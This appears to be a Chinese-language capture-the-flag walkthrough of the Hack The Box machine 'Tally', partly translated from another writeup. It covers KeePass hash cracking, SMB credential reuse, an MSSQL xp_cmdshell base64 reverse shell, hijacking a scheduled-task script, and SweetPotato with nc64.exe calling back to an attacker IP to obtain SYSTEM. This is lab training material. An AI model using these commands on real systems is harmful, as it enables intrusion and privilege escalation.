当我 Google“Windows TCP 32843”时,第一个链接是这篇关于 SharePoint 使用的 TCP 端口的文章。其中包括 808、32843、32844 和 32864 作为 SharePoint 使用的服务,访问_layouts/viewlsts.aspx
确实返回一些东西:
可以 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u 10.10.10.59 找到该目录
可以从中间的文档获得信息
UTDRSCH53c"$6hys ftp_user
把前面_layouts/15/start.aspx删除这个可以访问
直接点进来的不可以访问,不知道为什么
keepass数据库
利用ftp枚举可以找到
有两件事是最有趣的:
-
蒂姆有一个 KeePass 数据库,
tim.kdbx
. -
莎拉有一个
notes.txt
.
要进入 KeePass 数据库,我需要主密码。我将使用该john
脚本keepass2john
来获取该密码的哈希值,我可以尝试使用它来破解hashcat
(或者john
,我只是更喜欢hashcat
):
oxdf@hacky$ keepass2john 10.10.10.59/User/Tim/Files/tim.kdbx tim:$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da oxdf@hacky$ keepass2john 10.10.10.59/User/Tim/Files/tim.kdbx > tim.kdbx.hash
我将开始针对作为单词列表的hashcat
哈希进行运行。rockyou.txt
新版本hashcat
不需要我识别哈希格式,而是为我找到它:
oxdf@jawad:~/hackthebox/tally-10.10.10.59$ /opt/hashcat-6.2.5/hashcat.bin tim.kdbx.hash --user /usr/share/wordlists/rockyou.txt ...[snip]... Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash: 13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager ...[snip]... $keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da:simplementeyo ...[snip]...
它在不到 10 秒的时间内找到了密码,“simplementeyo”。
我将用来kpcli
读取数据库。连接时,它要求输入密码:
oxdf@hacky$ kpcli --kdb tim.kdbx
列出数据库中所有密码的快速方法是使用以下find
命令:
kpcli:/> find . Searching for "." ... - 3 matches found and placed into /_found/ Would you like to list them now? [y/N] === Entries === 0. Default 1. PDF Writer 2. TALLY ACCT share
现在show -f [number]
将提供该号码的详细信息(没有-f
密码将被隐藏):
kpcli:/> show -f 0 Path: /WORK/CISCO/ Title: Default Uname: cisco Pass: cisco123 URL: Notes: kpcli:/> show -f 1 Path: /WORK/SOFTWARE/ Title: PDF Writer Uname: 64257-56525-54257-54734 Pass: URL: Notes: kpcli:/> show -f 2 Path: /WORK/WINDOWS/Shares/ Title: TALLY ACCT share Uname: Finance Pass: Acc0unting URL: Notes:
我将删除的两组信用是“cisco”/“cisco123”和“Finance”/“Acc0unting”。后者说这是为了分享 Tally。我找不到任何有用的 cisco 密码的地方。
可以利用smb登入,文件比较多,可以挂载到本地
sudo mount -t cifs -o user=Finance,pass=Acc0unting //10.10.10.59/ACCT /mnt oxdf@hacky$ ls /mnt
现在我将更轻松地浏览文件共享。这里还有很多,其中很多只是垃圾文件。没有什么好办法来展示所有最终证明是一无所有的事情。我会记下该zz_Archived/SQL
文件夹,其中有一个名为conn-info
:
old server details db: sa pass: YE%TJC%&HYbe5Nw have changed for tally
我将尝试 MSSQL 的这些信用,但正如注释中所说,一定有人为 Tally 更改了它们。
最终我会找到zz_Migrations/Binaries
。有一堆无用的.cap
文件,我将从这个列表中删除它们:
oxdf@hacky$ find . -type f | grep -v cap$
这里很快跳出来的是tester.exe
,因为它是这里唯一看起来不像已知商业软件的东西。
查看tester.exe
( strings -n 10 tester.exe | less
) 中的字符串,顶部有一个非常有趣的字符串:
oxdf@hacky$ strings -n 10 tester.exe !This program cannot be run in DOS mode. PP9E u:PPVWP 9C`u99C\t4 SQLSTATE: DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G; select * from Orchard_Users_UserPartRecord Unknown exception bad locale name iostream stream error ...[snip]...
SQL Server 有一个连接字符串:
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4
反弹shell
mssql反弹shell
这边又解决报错的办法,不过我的可以直接连接
要连接到 MSSQL,我将使用( Impacketmssqlclient.py
包的一部分),但出现错误:
oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59 Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation [*] Encryption required, switching to TLS [-] [('SSL routines', 'state_machine', 'internal error')]
通过 Google 搜索该错误,我发现了这个GitHub 问题。这篇文章说他们通过更改 中的两行来修复它tds.py
。
一般来说,弄乱已安装的 Python 包并不好,但这是一个很小的改变,我打算尝试一下。要找到位置tds.py
,我将再次运行-debug
:
oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59 -debug Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation [+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket [*] Encryption required, switching to TLS [+] Exception: Traceback (most recent call last): File "/usr/local/bin/mssqlclient.py", line 175, in <module> res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) File "/usr/local/lib/python3.8/dist-packages/impacket/tds.py", line 920, in login tls.do_handshake() File "/usr/local/lib/python3.8/dist-packages/OpenSSL/SSL.py", line 1894, in do_handshake self._raise_ssl_error(self._ssl, result) File "/usr/local/lib/python3.8/dist-packages/OpenSSL/SSL.py", line 1632, in _raise_ssl_error _raise_current_error() File "/usr/local/lib/python3.8/dist-packages/OpenSSL/_util.py", line 57, in exception_from_error_queue raise exception_type(errors) OpenSSL.SSL.Error: [('SSL routines', 'state_machine', 'internal error')] [-] [('SSL routines', 'state_machine', 'internal error')]
版本后的第一行显示安装位置/usr/local/lib/python3.8/dist-packages/impacket
。在该目录中,我会找到tds.py
. 我将进行这两项更改,在两个位置添加“_2”,然后再次运行,它会起作用:
oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59 Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(TALLY): Line 1: Changed database context to 'master'. [*] INFO(TALLY): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (130 665) [!] Press help for extra shell commands SQL>
enable_xp_cmdshell
我将访问revshells.com并使用我的 IP 和端口更新它。我将按 Windows 进行过滤并选择 PowerShell #3 (Base64)。我喜欢 Base64,因为我不必担心 MSSQL 命令行中的错误字符。
我将使用rlwrap
监听器在我即将成为的 shell 上获取向上和向下箭头,并在我的虚拟机上启动它。然后我将复制 shell,并将其粘贴到 MSSQL 提示符中:
SQL> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUw
sudo rlwrap -cAr nc -lvnp 443
type user.txt
firefox反弹shell
看别人的writeup,我没复现陈功
提权root
计划任务
我没成功
桌面上还有一堆其他文件:
PS C:\users\sarah\desktop> ls
对于这部分,我感兴趣的是SPBestWarmUp.ps1
和SPBestWarmUp.xml
。前者是一个 PowerShell 脚本,我相信它实际上是这个. 它旨在帮助在 Windows IIS 服务器上进行缓存。但内容其实并不重要
SPBestWarmUp.xml
是导出的计划任务:
<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Triggers> <CalendarTrigger> <Repetition> <Interval>PT1H</Interval> <Duration>P1D</Duration> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2017-01-25T01:00:00</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay> <DaysInterval>1</DaysInterval> </ScheduleByDay> </CalendarTrigger> ...[snip]...
在顶部,它定义了触发器,即每天每小时 0100 点开始。对于 HTB 来说,这是一个非常慢的 cron,但也许它仍然很有趣。还有基于事件日志的触发器,表明服务器内存不足。
再往下一点,设置为以管理员身份运行:
...[snip]... <Principals> <Principal id="Author"> <UserId>TALLY\Administrator</UserId> <LogonType>Password</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> ...[snip]...
在最底部,它显示它运行 PowerShell 脚本:
...[snip]... <Actions Context="Author"> <Exec> <Command>PowerShell.exe</Command> <Arguments>-ExecutionPolicy Bypass -File SPBestWarmUp.ps1 -skipadmincheck</Arguments <WorkingDirectory>C:\Users\Sarah\Desktop</WorkingDirectory> </Exec> </Actions> ...[snip]...
此外,莎拉可以完全控制该文件:
PS C:\users\sarah\desktop> icacls SPBestWarmUp.ps1 SPBestWarmUp.ps1 NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) TALLY\Sarah:(F) Successfully processed 1 files; Failed processing 0 files
我将生成另一个 shell(这次在 444 上),并且(创建备份后)替换SPBestWarmUp.ps1
为 shell:
copy SPBestWarmUp.ps1 SPBestWarmUp.ps1.bak
echo "powershell -e JABjAGwAaQBlAG4Adxxxxxxxxxxxx" > SPBestWarmUp.ps1
当时间过去时,它会生成一个 shell:
oxdf@hacky$ nc -lnvp 444
SeImpersonatePrivilege(SweetPotato)
sarah 正在运行 MSSQL,在 Windows 上,服务以SeImpersonatePrivilege
. 如果我通过 MSSQL 获得 shell,则 sarah 拥有此特权:
PS C:\users\sarah\desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
这次,我将展示SweetPotatoSeImpersonate
,它是一个内置了许多不同漏洞的单一工具。
我将使用通过 MSSQL 获得的 shell 将其上传到 Tally:
PS C:\programdata> iwr 10.10.14.6/SweetPotato.exe -outfile sp.exe PS C:\programdata> iwr 10.10.14.6/nc64.exe -outfile nc64.exe
我也来上传nc64.exe
一下 我将从所有默认值开始,只给它一个要运行的程序-p
和该程序的参数-a
,通过以下方式生成反向 shell nc64.exe
:
PS C:\programdata> .\sp.exe -p "\programdata\nc64.exe" -a "-e powershell 10.10.14.6 446" SweetPotato by @_EthicalChaos_ Original RottenPotato code and exploit by @foxglovesec Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery PrintSpoofer discovery and original exploit by @itm4n EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam [+] Attempting NP impersonation using method PrintSpoofer to launch \programdata\nc64.exe [+] Triggering notification on evil PIPE \\TALLY/pipe/21e828a2-6bdd-4a23-9b7b-d03d423949a7 [+] Server connected to our evil RPC pipe [+] Duplicated impersonation token ready for process creation [+] Intercepted and authenticated successfully, launching program [+] Process created, enjoy! PS C:\programdata> .\sp.exe
它返回一个 shell 作为 SYSTEM:
oxdf@hacky$ nc -lnvp 446
CVE-2017-0213
看writeup,我没弄